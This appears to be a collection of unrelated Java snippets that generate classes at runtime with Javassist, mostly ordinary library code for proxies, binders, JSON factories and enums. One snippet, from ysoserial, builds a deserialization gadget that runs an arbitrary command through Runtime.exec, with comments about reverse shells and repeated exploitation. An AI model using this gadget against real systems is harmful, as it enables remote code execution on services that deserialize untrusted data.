public static void enableStreamingSupport() throws Exception { CtClass ctClass = pool.makeClass("com.jsoniter.IterImpl"); ctClass.setSuperclass(pool.get(IterImplForStreaming.class.getName())); ctClass.toClass(); } }
@Override public ResourceConfig register(final Object component) { final Object object = requireNonNull(component); Class<?> clazz = object.getClass(); // If a class gets passed through as an object, cast to Class and register directly if (component instanceof Class<?>) { return super.register((Class<?>) component); } else if (Providers.isProvider(clazz) || Binder.class.isAssignableFrom(clazz)) { // If jersey supports this component's class (including hk2 Binders), register directly return super.register(object); } else { // Else register a binder that binds the instance to its class type try { // Need to create a new subclass dynamically here because hk2/jersey // doesn't add new bindings for the same class ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass(SpecificBinder.class.getName() + UUID.randomUUID()); cc.setSuperclass(pool.get(SpecificBinder.class.getName())); Object binderProxy = cc.toClass().getConstructor(Object.class, Class.class).newInstance(object, clazz); super.register(binderProxy); return super.register(clazz); } catch (Exception e) { throw new RuntimeException(e); } } }
@SneakyThrows public Proxy(Class<I> superClass, String... classPathString) { if (superClass == null) { throw new NullPointerException("superClass can not be null"); } this.superClass = superClass; ClassPool classPool = new ClassPool(true); ClassPath classPath = new ClassClassPath(this.getClass()); classPool.insertClassPath(classPath); if (classPathString != null) { for (String path : classPathString) { classPool.insertClassPath(path); } } className = superClass.getSimpleName() + "FastBeanCopier" + counter.getAndAdd(1); classFullName = superClass.getPackage() + "." + className; ctClass = classPool.makeClass(classFullName); if (superClass != Object.class) { if (superClass.isInterface()) { ctClass.setInterfaces(new CtClass[]{classPool.get(superClass.getName())}); } else { ctClass.setSuperclass(classPool.get(superClass.getName())); } } addConstructor("public " + className + "(){}"); }
mCtc.setSuperclass(ctcs);
mCtc.setSuperclass(ctcs);
final CtClass ccInterface = pool.get(className); final CtClass ccActorInvoker = pool.get(ObjectInvoker.class.getName()); cc.setSuperclass(ccActorInvoker);
CtClass scClass = _pool.makeClass(cname); CtClass baseClass = _pool.get("water.score.ScorecardModel"); // Full Name Lookup scClass.setSuperclass(baseClass);
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory ) throws Exception { final T templates = tplClass.newInstance(); // use template gadget class ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath(abstTranslet)); final CtClass clazz = pool.get(StubTransletPayload.class.getName()); // run command in static initializer // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");"; clazz.makeClassInitializer().insertAfter(cmd); // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) clazz.setName("ysoserial.Pwner" + System.nanoTime()); CtClass superC = pool.get(abstTranslet.getName()); clazz.setSuperclass(superC); final byte[] classBytes = clazz.toBytecode(); // inject class bytes into instance Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { classBytes, ClassFiles.classAsBytes(Foo.class) }); // required to make TemplatesImpl happy Reflections.setFieldValue(templates, "_name", "Pwnr"); Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); return templates; }
mCtc.setSuperclass(mPool.get(java.lang.reflect.Proxy.class.getName())); CtConstructor constructor = new CtConstructor(null, mCtc); constructor.setModifiers(Modifier.PUBLIC);
mCtc.setSuperclass(mPool.get(java.lang.reflect.Proxy.class.getName())); CtConstructor constructor = new CtConstructor(null, mCtc); constructor.setModifiers(Modifier.PUBLIC);
newClz.setSuperclass(orig);
cc.setGenericSignature(genericSignature); final CtClass baseStateClass = pool.get(baseClass.getName()); cc.setSuperclass(baseStateClass);
final CtClass ccInterface = pool.get(aInterface.getName()); final CtClass ccActorReference = pool.get(RemoteReference.class.getName()); cc.setSuperclass(ccActorReference); cc.addInterface(ccInterface); cc.addConstructor(CtNewConstructor.make(new CtClass[]{ pool.get(String.class.getName()) }, null, "{ super($1); }", cc));
newClz.setSuperclass(orig);
mCtc = mPool.makeClass(mClassName); if (mSuperClass != null) mCtc.setSuperclass(ctcs); mCtc.addInterface(mPool.get(DC.class.getName())); // add dynamic class tag. if (mInterfaces != null)
cl.setSuperclass(cp.get(cls.getName()));
private static void fixMappingJsonFactoryClass(ClassLoader classLoader, ClassPool pool, CtClass ctJsonFactoryFixedClass) throws NotFoundException, CannotCompileException { CtClass ctMappingJsonFactoryClass = pool .getAndRename(MappingJsonFactory.class.getName(), MappingJsonFactory.class.getName() + SUFFIX); ctMappingJsonFactoryClass.setSuperclass(ctJsonFactoryFixedClass); mappingJsonFactoryClass = ctMappingJsonFactoryClass.toClass(classLoader, null); }
private static CtClass fixJsonFactory(ClassLoader classLoader, ClassPool pool) throws NotFoundException, CannotCompileException { CtClass ctJsonFactoryClass = pool.getCtClass(JsonFactory.class.getName()); CtClass ctJsonFactoryFixedClass = pool.makeClass(JsonFactory.class.getName() + SUFFIX); ctJsonFactoryFixedClass.setSuperclass(ctJsonFactoryClass); for (CtMethod ctMethod : ctJsonFactoryClass.getDeclaredMethods()) { if (ctMethod.getName().equals("_createParser")) { ctJsonFactoryFixedClass.addMethod(new CtMethod(ctMethod, ctJsonFactoryFixedClass, null)); } } ctJsonFactoryFixedClass .replaceClassName(ReaderBasedJsonParser.class.getName(), ReaderBasedJsonParser.class.getName() + SUFFIX); ctJsonFactoryFixedClass .replaceClassName(UTF8StreamJsonParser.class.getName(), UTF8StreamJsonParser.class.getName() + SUFFIX); ctJsonFactoryFixedClass.replaceClassName(ByteSourceJsonBootstrapper.class.getName(), ByteSourceJsonBootstrapper.class.getName() + SUFFIX); ctJsonFactoryFixedClass.toClass(classLoader, null); return ctJsonFactoryFixedClass; }
@SuppressWarnings({"rawtypes", "unchecked"}) public static Class<? extends Enum> createEnum(ClassLoader classLoader, String clsName, List<String> values) { if (values == null || values.size() == 0) { throw new Error("values is not allowed empty."); } classLoader = JvmUtils.correctClassLoader(classLoader); ClassPool classPool = getOrCreateClassPool(classLoader); CtClass ctClass = classPool.makeClass(clsName); ctClass.setModifiers(ctClass.getModifiers() | javassist.Modifier.ENUM); try { ctClass.setSuperclass(classPool.get(Enum.class.getName())); addEnumConstructor(classPool, ctClass); addEnumValuesMethod(ctClass, values); return ctClass.toClass(classLoader, null); } catch (Throwable e) { throw new Error(e); } }
private CtClass setupClass()throws NotFoundException, CannotCompileException { String className = getGeneratedJoinPointClassName(callingHash, targetClass.getName(), calledHash); //Create inner joinpoint class in advised class, super class is ConstructorInvocation jp = TransformerCommon.makeNestedClass(callingClass, className, true); int mod = jp.getModifiers(); jp.setModifiers(mod | Modifier.PUBLIC); CtClass invocation = INVOCATION_CT_TYPE; jp.setSuperclass(invocation); addUntransformableInterface(instrumentor, jp); return jp; }